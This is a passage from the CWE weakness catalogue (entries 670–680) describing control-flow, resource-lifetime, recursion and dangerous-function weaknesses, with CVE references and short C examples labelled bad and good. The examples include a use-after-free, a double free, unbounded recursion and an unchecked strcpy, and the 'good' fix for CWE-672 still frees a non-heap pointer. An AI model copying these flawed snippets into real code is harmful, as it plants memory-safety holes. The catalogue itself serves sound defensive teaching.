Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	C	1364	ICS Communications: Zone Boundary Failures	1358	2294

## CWE-670: Always-Incorrect Control Flow Implementation

**Weakness ID** : 670

**Structure** : Simple

**Abstraction** : Class

### Description

The code contains a control flow path that does not reflect the algorithm that the path is intended to implement, leading to incorrect behavior any time this path is navigated.

### Extended Description

This weakness captures cases in which a particular code segment is always incorrect with respect to the algorithm that it is implementing. For example, if a C programmer intends to include multiple statements in a single block but does not include the enclosing braces (CWE-483), then the logic is always incorrect. This issue is in contrast to most weaknesses in which the code usually behaves correctly, except when it is externally manipulated in malicious ways.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1420
ParentOf	B	480	Use of Incorrect Operator	1087
ParentOf	B	483	Incorrect Block Delimitation	1095

Nature	Type	ID	Name	Page
ParentOf	B	484	Omitted Break Statement in Switch	1097
ParentOf	B	617	Reachable Assertion	1297
ParentOf	B	698	Execution After Redirect (EAR)	1431
ParentOf	B	783	Operator Precedence Logic Error	1536

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	B	617	Reachable Assertion	1297

### Common Consequences

Scope	Impact	Likelihood
Other	Other Alter Execution Logic	

### Observed Examples

Reference	Description
<b>CVE-2021-3011</b>	virtual interrupt controller in a virtualization product allows crash of host by writing a certain invalid value to a register, which triggers a fatal error instead of returning an error code <a href="https://www.cve.org/CVERecord?id=CVE-2021-3011">https://www.cve.org/CVERecord?id=CVE-2021-3011</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	977	SFP Secondary Cluster: Design	888	2200
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336

### Notes

#### Maintenance

This node could possibly be split into lower-level nodes. "Early Return" is for returning control to the caller too soon (e.g., CWE-584). "Excess Return" is when control is returned too far up the call stack (CWE-600, CWE-395). "Improper control limitation" occurs when the product maintains control at a lower level of execution, when control should be returned "further" up the call stack (CWE-455). "Incorrect syntax" covers code that's "just plain wrong" such as CWE-484 and CWE-483.

## CWE-671: Lack of Administrator Control over Security

**Weakness ID** : 671

**Structure** : Simple

**Abstraction** : Class

### Description

The product uses security features in a way that prevents the product's administrator from tailoring security settings to reflect the environment in which the product is being used. This introduces resultant weaknesses or prevents it from operating at a level of security that is desired by the administrator.




## Extended Description

If the product's administrator does not have the ability to manage security-related decisions at all times, then protecting the product from outside threats - including the product's developer - can become impossible. For example, a hard-coded account name and password cannot be changed by the administrator, thus exposing that product to attacks that the administrator can not prevent.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		657	Violation of Secure Design Principles	1361
ParentOf		447	Unimplemented or Unsupported Feature in UI	1015
ParentOf		798	Use of Hard-coded Credentials	1573

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

## Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		975	SFP Secondary Cluster: Architecture	888	2199

## CWE-672: Operation on a Resource after Expiration or Release

**Weakness ID** : 672

**Structure** : Simple

**Abstraction** : Class



### Description

The product uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		666	Operation on Resource in Wrong Phase of Lifetime	1374
ParentOf		298	Improper Validation of Certificate Expiration	688

Nature	Type	ID	Name	Page
ParentOf	B	324	Use of a Key Past its Expiration Date	752
ParentOf	B	613	Insufficient Session Expiration	1291
ParentOf	B	825	Expired Pointer Dereference	1612
ParentOf	B	910	Use of Expired File Descriptor	1677
CanFollow	B	562	Return of Stack Variable Address	1204
CanFollow	B	826	Premature Release of Resource During Expected Lifetime	1614
CanFollow	B	911	Improper Update of Reference Count	1678
CanFollow	B	1341	Multiple Releases of Same Resource or Handle	2068

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	V	415	Double Free	954
ParentOf	V	416	Use After Free	958
ParentOf	B	613	Insufficient Session Expiration	1291

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ParentOf	V	415	Double Free	954
ParentOf	V	416	Use After Free	958

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ParentOf	V	415	Double Free	954
ParentOf	V	416	Use After Free	958

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Mobile (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Modify Application Data Read Application Data  <i>If a released resource is subsequently reused or reallocated, then an attempt to use the original resource might allow access to sensitive data that is associated with a different user or entity.</i>	
Other Availability	Other DoS: Crash, Exit, or Restart  <i>When a resource is released it might not be in an expected state, later attempts to access the resource may lead to resultant errors that may lead to a crash.</i>	

### Demonstrative Examples

#### Example 1:

The following code shows a simple example of a use after free error:

*Example Language: C*

*(Bad)*

```
char* ptr = (char*)malloc (SIZE);
if (err) {
    abrt = 1;
```

```

    free(ptr);
}
...
if (abrt) {
    logError("operation aborted before commit", ptr);
}

```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

### Example 2:

The following code shows a simple example of a double free error:

*Example Language: C*

*(Bad)*

```

char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
    free(ptr);
}
...
free(ptr);

```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

### Example 3:

In the following C/C++ example the method processMessage is used to process a message received in the input array of char arrays. The input message array contains two char arrays: the first is the length of the message and the second is the body of the message. The length of the message is retrieved and used to allocate enough memory for a local char array, messageBody, to be created for the message body. The messageBody is processed in the method processMessageBody that will return an error if an error occurs while processing. If an error occurs then the return result variable is set to indicate an error and the messageBody char array memory is released using the method free and an error message is sent to the logError method.

*Example Language: C*

*(Bad)*

```

#define FAIL 0
#define SUCCESS 1
#define ERROR -1
#define MAX_MESSAGE_SIZE 32
int processMessage(char **message)
{
    int result = SUCCESS;
    int length = getMessageLength(message[0]);
    char *messageBody;
    if ((length > 0) && (length < MAX_MESSAGE_SIZE)) {
        messageBody = (char*)malloc(length*sizeof(char));
        messageBody = &message[1][0];
        int success = processMessageBody(messageBody);
        if (success == ERROR) {
            result = ERROR;
            free(messageBody);
        }
    }
    else {

```

```

printf("Unable to process message; invalid message length");
result = FAIL;
}
if (result == ERROR) {
    logError("Error processing message", messageBody);
}
return result;
}

```

However, the call to the method `logError` includes the `messageBody` after the memory for `messageBody` has been released using the `free` method. This can cause unexpected results and may lead to system crashes. A variable should never be used after its memory resources have been released.

Example Language: C

(Good)

```

...
messageBody = (char*)malloc(length*sizeof(char));
messageBody = &message[1][0];
int success = processMessageBody(messageBody);
if (success == ERROR) {
    result = ERROR;
    logError("Error processing message", messageBody);
    free(messageBody);
}
...

```

## Observed Examples

Reference	Description
<b>CVE-2009-3547</b>	chain: race condition might allow resource to be released before operating on it, leading to NULL dereference <a href="https://www.cve.org/CVERecord?id=CVE-2009-3547">https://www.cve.org/CVERecord?id=CVE-2009-3547</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	808	2010 Top 25 - Weaknesses On the Cusp	800	2149
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	983	SFP Secondary Cluster: Faulty Resource Use	888	2204
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	<b>C</b>	1131	CISQ Quality Measures (2016) - Security	1128	2235
MemberOf	<b>C</b>	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2251
MemberOf	<b>C</b>	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2252
MemberOf	<b>C</b>	1306	CISQ Quality Measures - Reliability	1305	2276
MemberOf	<b>C</b>	1308	CISQ Quality Measures - Security	1305	2278
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP15		Faulty Resource Use
CERT C Secure Coding	FIO46-C	CWE More Abstract	Do not access a closed file

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MEM30-C	CWE More Abstract	Do not access freed memory
OMG ASCSM	ASCSM-CWE-672		

## References

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

## CWE-673: External Influence of Sphere Definition

**Weakness ID** : 673

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not prevent the definition of control spheres from external actors.

### Extended Description

Typically, a product defines its control sphere within the code itself, or through configuration by the product's administrator. In some cases, an external party can change the definition of the control sphere. This is typically a resultant weakness.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367
ParentOf	ⓑ	426	Untrusted Search Path	972

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	ⓐ	1011	Authorize Actors	2218

### Common Consequences

Scope	Impact	Likelihood
Other	Other	

### Demonstrative Examples

#### Example 1:

Consider a blog publishing tool, which might have three explicit control spheres: the creation of articles, only accessible to a "publisher;" commenting on articles, only accessible to a "commenter" who is a registered user; and reading articles, only accessible to an anonymous reader. Suppose that the application is deployed on a web server that is shared with untrusted parties. If a local user can modify the data files that define who a publisher is, then this user has modified the control sphere. In this case, the issue would be resultant from another weakness such as insufficient permissions.

#### Example 2:



In Untrusted Search Path (CWE-426), a user might be able to define the PATH environment variable to cause the product to search in the wrong directory for a library to load. The product's intended sphere of control would include "resources that are only modifiable by the person who installed the product." The PATH effectively changes the definition of this sphere so that it overlaps the attacker's sphere of control.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		991	SFP Secondary Cluster: Tainted Input to Environment	888	2209

### Notes

#### Theoretical

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

## CWE-674: Uncontrolled Recursion

**Weakness ID** : 674  
**Structure** : Simple  
**Abstraction** : Class

### Description

The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		834	Excessive Iteration	1634
ParentOf		776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	1521

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf		776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	1521

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Alternate Terms

## Stack Exhaustion :

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)  <i>Resources including CPU, memory, and stack memory could be rapidly consumed or exhausted, eventually leading to an exit or crash.</i>	
Confidentiality	Read Application Data  <i>In some cases, an application's interpreter might kill a process or thread that appears to be consuming too much resources, such as with PHP's <code>memory_limit</code> setting. When the interpreter kills the process/thread, it might report an error containing detailed information such as the application's installation path.</i>	

### Potential Mitigations

#### Phase: Implementation

Ensure an end condition will be reached under all logic conditions. The end condition may include testing against the depth of recursion and exiting with an error if the recursion goes too deep. The complexity of the end condition contributes to the effectiveness of this action.

*Effectiveness = Moderate*

#### Phase: Implementation

Increase the stack size.

*Effectiveness = Limited*

*Increasing the stack size might only be a temporary measure, since the stack typically is still not very large, and it might remain easy for attackers to cause an out-of-stack fault.*

### Demonstrative Examples

#### Example 1:

In this example a mistake exists in the code where the exit condition contained in `flag` is never called. This results in the function calling itself over and over again until the stack is exhausted.

*Example Language: C*

*(Bad)*

```
void do_something_recursive (int flg)
{
    ... // Do some real work here, but the value of flg is unmodified
    if (flg) { do_something_recursive (flg); } // flg is never modified so it is always TRUE - this call will continue until the stack explodes
}
int flag = 1; // Set to TRUE
do_something_recursive (flag);
```

Note that the only difference between the Good and Bad examples is that the recursion flag will change value and cause the recursive call to return.

*Example Language: C*

*(Good)*

```
void do_something_recursive (int flg)
{
    ... // Do some real work here
    // Modify value of flg on done condition
    if (flg) { do_something_recursive (flg); } // returns when flg changes to 0
```

```

}
int flag = 1; // Set to TRUE
do_something_recursive (flag);

```

### Observed Examples

Reference	Description
<b>CVE-2007-1285</b>	Deeply nested arrays trigger stack exhaustion. <a href="https://www.cve.org/CVERecord?id=CVE-2007-1285">https://www.cve.org/CVERecord?id=CVE-2007-1285</a>
<b>CVE-2007-3409</b>	Self-referencing pointers create infinite loop and resultant stack exhaustion. <a href="https://www.cve.org/CVERecord?id=CVE-2007-3409">https://www.cve.org/CVERecord?id=CVE-2007-3409</a>
<b>CVE-2016-10707</b>	Javascript application accidentally changes input in a way that prevents a recursive call from detecting an exit condition. <a href="https://www.cve.org/CVERecord?id=CVE-2016-10707">https://www.cve.org/CVERecord?id=CVE-2016-10707</a>
<b>CVE-2016-3627</b>	An attempt to recover a corrupted XML file infinite recursion protection counter was not always incremented missing the exit condition. <a href="https://www.cve.org/CVERecord?id=CVE-2016-3627">https://www.cve.org/CVERecord?id=CVE-2016-3627</a>
<b>CVE-2019-15118</b>	USB-audio driver's descriptor code parsing allows unlimited recursion leading to stack exhaustion. <a href="https://www.cve.org/CVERecord?id=CVE-2019-15118">https://www.cve.org/CVERecord?id=CVE-2019-15118</a>

### Affected Resources

- CPU

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf	<b>C</b>	730	OWASP Top Ten 2004 Category A9 - Denial of Service	<input type="checkbox"/>	2132
MemberOf	<input type="checkbox"/>	884	CWE Cross-section	<input type="checkbox"/>	2327
MemberOf	<b>C</b>	985	SFP Secondary Cluster: Unrestricted Consumption	<input type="checkbox"/>	2204
MemberOf	<input type="checkbox"/>	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	<input type="checkbox"/>	2336
MemberOf	<b>C</b>	1129	CISQ Quality Measures (2016) - Reliability	<input type="checkbox"/>	2233

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
Software Fault Patterns	SFP13		Unrestricted Consumption
OMG ASCRM	ASCRM-CWE-674		

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
230	Serialized Data with Nested Payloads
231	Oversized Serialized Data Payloads

### References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

## CWE-675: Multiple Operations on Resource in Single-Operation Context

**Weakness ID** : 675**Structure** : Simple**Abstraction** : Class

## Description

The product performs the same operation on a resource two or more times, when the operation should only be applied once.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1222
ParentOf		174	Double Decoding of the Same Data	419
ParentOf		605	Multiple Binds to the Same Port	1277
ParentOf		764	Multiple Locks of a Critical Resource	1493
ParentOf		765	Multiple Unlocks of a Critical Resource	1494
ParentOf		1341	Multiple Releases of Same Resource or Handle	2068
PeerOf		102	Struts: Duplicate Validation Forms	239
PeerOf		586	Explicit Call to Finalize()	1243
PeerOf		85	Doubled Character XSS Manipulations	183

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Other	Other	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf		984	SFP Secondary Cluster: Life Cycle	888	2204

## Notes

### Relationship

This weakness is probably closely associated with other issues related to doubling, such as CWE-462 (duplicate key in alist) or CWE-102 (Struts duplicate validation forms). It's usually a case of an API contract violation (CWE-227).

## CWE-676: Use of Potentially Dangerous Function

**Weakness ID** : 676

**Structure** : Simple  
**Abstraction** : Base

## Description

The product invokes a potentially dangerous function that could introduce a vulnerability if it is used incorrectly, but the function can also be used safely.


## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1177	Use of Prohibited Code	1827
ParentOf		785	Use of Path Manipulation Function without Maximum-sized Buffer	1542

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1228	API / Function Errors	2275

## Weakness Ordinalities

**Primary** :

**Indirect** :

## Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context Quality Degradation Unexpected State  <i>If the function is used incorrectly, then it could result in security problems.</i>	

## Detection Methods

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis Cost effective for partial coverage: Binary / Bytecode Quality Analysis Binary / Bytecode simple extractor - strings, ELF readers, etc.

*Effectiveness = High*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Debugger Cost effective for partial coverage: Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

*Effectiveness = High*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer Cost effective for partial coverage: Warning Flags Source Code Quality Analyzer

*Effectiveness = High*

### Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Origin Analysis

*Effectiveness = SOAR Partial*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## Potential Mitigations

### Phase: Build and Compilation

### Phase: Implementation

Identify a list of prohibited API functions and prohibit developers from using these functions, providing safer alternatives. In some cases, automatic code analysis tools or the compiler can be instructed to spot use of prohibited functions, such as the "banned.h" include file from Microsoft's SDL. [REF-554] [REF-7]

## Demonstrative Examples

### Example 1:

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

*Example Language: C*

*(Bad)*

```
void manipulate_string(char * string){
    char buf[24];
    strcpy(buf, string);
    ...
}
```

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

### Observed Examples

Reference	Description
<b>CVE-2007-1470</b>	Library has multiple buffer overflows using sprintf() and strcpy() <a href="https://www.cve.org/CVERecord?id=CVE-2007-1470">https://www.cve.org/CVERecord?id=CVE-2007-1470</a>
<b>CVE-2009-3849</b>	Buffer overflow using strcat() <a href="https://www.cve.org/CVERecord?id=CVE-2009-3849">https://www.cve.org/CVERecord?id=CVE-2009-3849</a>
<b>CVE-2006-2114</b>	Buffer overflow using strcpy() <a href="https://www.cve.org/CVERecord?id=CVE-2006-2114">https://www.cve.org/CVERecord?id=CVE-2006-2114</a>
<b>CVE-2006-0963</b>	Buffer overflow using strcpy() <a href="https://www.cve.org/CVERecord?id=CVE-2006-0963">https://www.cve.org/CVERecord?id=CVE-2006-0963</a>
<b>CVE-2011-0712</b>	Vulnerable use of strcpy() changed to use safer strncpy() <a href="https://www.cve.org/CVERecord?id=CVE-2011-0712">https://www.cve.org/CVERecord?id=CVE-2011-0712</a>
<b>CVE-2008-5005</b>	Buffer overflow using strcpy() <a href="https://www.cve.org/CVERecord?id=CVE-2008-5005">https://www.cve.org/CVERecord?id=CVE-2008-5005</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	2135
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf	C	746	CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)	734	2143
MemberOf	C	865	2011 Top 25 - Risky Resource Management	900	2165
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	2168
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2213
MemberOf	C	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)	1154	2251
MemberOf	C	1165	SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)	1154	2253
MemberOf	C	1167	SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)	1154	2254
MemberOf	C	1169	SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)	1154	2255
MemberOf	C	1170	SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)	1154	2256

### Notes

#### Relationship

This weakness is different than CWE-242 (Use of Inherently Dangerous Function). CWE-242 covers functions with such significant security problems that they can never be guaranteed to be safe. Some functions, if used properly, do not directly pose a security risk, but can introduce a weakness if not called correctly. These are regarded as potentially dangerous. A well-known



example is the strcpy() function. When provided with a destination buffer that is larger than its source, strcpy() will not overflow. However, it is so often misused that some developers prohibit strcpy() entirely.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Dangerous Functions
CERT C Secure Coding	CON33-C	CWE More Abstract	Avoid race conditions when using library functions
CERT C Secure Coding	ENV33-C	CWE More Abstract	Do not call system()
CERT C Secure Coding	ERR07-C		Prefer functions that support error checking over equivalent functions that don't
CERT C Secure Coding	ERR34-C	CWE More Abstract	Detect errors when converting a string to a number
CERT C Secure Coding	FIO01-C		Be careful using functions that use file names for identification
CERT C Secure Coding	MSC30-C	CWE More Abstract	Do not use the rand() function for generating pseudorandom numbers
CERT C Secure Coding	STR31-C	Imprecise	Guarantee that storage for strings has sufficient space for character data and the null terminator
Software Fault Patterns	SFP3		Use of an improper API

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-554]Michael Howard. "Security Development Lifecycle (SDL) Banned Function Calls". < <http://msdn.microsoft.com/en-us/library/bb288454.aspx> >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-680: Integer Overflow to Buffer Overflow

**Weakness ID** : 680

**Structure** : Chain


**Abstraction** : Compound

### Description

The product performs a calculation to determine how much memory to allocate, but an integer overflow can occur that causes less memory to be allocated than expected, leading to a buffer overflow.

### Chain Components


Nature	Type	ID	Name	Page
StartsWith	⊕	190	Integer Overflow or Wraparound	453

Nature	Type	ID	Name	Page
FollowedBy		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences




Scope	Impact	Likelihood
Integrity	Modify Memory	
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	

### Observed Examples

Reference	Description
<b>CVE-2017-1000121</b>	chain: unchecked message size metadata allows integer overflow (CWE-190) leading to buffer overflow (CWE-119). <a href="https://www.cve.org/CVERecord?id=CVE-2017-1000121">https://www.cve.org/CVERecord?id=CVE-2017-1000121</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	2249
MemberOf		1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2251

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	INT30-C	Imprecise	Ensure that unsigned integer operations do not wrap
CERT C Secure Coding	INT32-C	Imprecise	Ensure that operations on signed integers do not result in overflow
CERT C Secure Coding	MEM35-C	CWE More Abstract	Allocate sufficient memory for an object

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
14	Client-side Injection-induced Buffer Overflow

CAPEC-ID	Attack Pattern Name
24	Filter Failure through Buffer Overflow
45	Buffer Overflow via Symbolic Links
46	Overflow Variables and Tags
47	Buffer Overflow via Parameter Expansion
67	String Format Overflow in syslog()
92	Forced Integer Overflow
100	Overflow Buffers

## CWE-681: Incorrect Conversion between Numeric Types

**Weakness ID** : 681

